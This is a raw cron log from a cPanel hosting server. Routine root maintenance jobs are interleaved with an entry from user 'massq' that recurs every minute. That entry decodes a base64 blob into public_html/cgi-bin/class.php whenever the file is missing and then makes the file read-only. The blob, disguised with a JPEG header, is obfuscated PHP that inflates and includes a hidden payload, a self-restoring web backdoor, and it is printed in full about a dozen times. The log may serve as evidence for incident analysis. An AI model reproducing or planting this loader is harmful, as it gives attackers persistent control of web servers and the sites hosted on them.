Sep  8 05:28:01 server CROND[31773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:28:01 server CROND[31774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:29:01 server CROND[32152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:29:01 server CROND[32153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:29:01 server CROND[32154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:30:01 server CROND[32602]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 05:30:01 server CROND[32603]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:30:01 server CROND[32606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:30:01 server CROND[32615]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 05:30:01 server CROND[32616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:30:01 server CROND[32621]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 05:30:01 server CROND[32619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:30:01 server CROND[32620]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  8 05:30:01 server CROND[32611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:31:01 server CROND[1027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:31:01 server CROND[1028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:31:01 server CROND[1029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:32:01 server CROND[1601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:32:01 server CROND[1602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:32:01 server CROND[1603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:33:01 server CROND[2026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:33:01 server CROND[2027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:33:01 server CROND[2025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:34:01 server CROND[2419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:34:01 server CROND[2420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:34:01 server CROND[2421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:35:01 server CROND[2848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:35:01 server CROND[2850]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 05:35:01 server CROND[2852]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 05:35:01 server CROND[2851]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 05:35:01 server CROND[2853]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 05:35:01 server CROND[2854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:35:01 server CROND[2855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:35:01 server CROND[2856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:35:01 server CROND[2857]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:36:01 server CROND[3725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:36:01 server CROND[3726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:36:01 server CROND[3727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:37:01 server CROND[4197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:37:01 server CROND[4198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:37:01 server CROND[4199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:38:01 server CROND[4579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:38:01 server CROND[4581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:38:01 server CROND[4580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:39:01 server CROND[4973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:39:01 server CROND[4971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:39:01 server CROND[4972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:39:01 server CROND[4974]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
